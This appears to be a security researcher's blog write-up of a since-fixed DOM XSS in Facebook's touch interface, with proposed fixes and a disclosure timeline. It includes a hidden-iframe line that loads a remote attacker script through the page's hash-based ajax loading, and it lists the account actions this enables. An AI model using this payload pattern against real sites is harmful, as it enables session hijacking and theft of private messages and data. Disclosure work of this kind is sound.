Lets look at the facebook touch page touch.facebook.com (iphone web interface). There are a few things you should notice:
- If you are logged in to Facebook, you are automatically logged in to this page. Some awesome magic session lets this happen.
- If you click on any URL you see the links dont actually change the page but load them with ajax. http://touch.facebook.com/#profile.php actually loads http://touch.facebook.com/profile.php into a div on the page.
- This interface does not do any actual frame breaking only clickjacking protection, which really doesn’t matter for what we want to do.
Because the content of our payload is set with “innerHTML” we can’t just plug in a <script> tag and expect it to work, but other events will fire. In this example we simply make an image with a bad src and an onerror handle.
Now we can load a remote script to do the work for us:
Because facebook does not bust out of this frame we can simply place the xss in a hidden iframe on an evil site.
<iframe src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none"></iframe>
Now when a user views the evil site the hacker has full control over touch.facebook.com. The attacker can:
- Know who you are
- See your photos
- Read messages
- Read sent messages
- Send messages
- Read most private data (e-mail, phone, friends)
- Add friends
- Post comments
But lets assume that’s not enough. What if we need access to facebook.com for some reason. Maybe we want to take over a facebook app owned by the user.
This was all done client side. Ajax loaded the payload then we used DOM to load the iframe for the rest of the exploit. The hash part of the url is not sent to the server making it almost impossible for facebook to know what was exploited.
Facebook could simply force all urls to be relative to the base url by adding ‘/’ to the front of all requests before sending ajax.
Also the XHR now supports an origin attribute from the request, so facebook could check that the origin matches facebook.com before loading in the content.
Things to Note
Facebook is not alone in this exploit, I have notified other sites and jquery libraries which suffer from this same attack.
Cross-Origin Resource Sharing is currently available in Firefox 3.5, Safari 4, and Google Chrome 2. IE8 supports CORS with the XDomainRequest function instead of the existing XMLHttpRequest.
UPDATE: This issue was reported on 7/13 resolved by facebook on 7/14 (amazingly fast and unexpected response time!)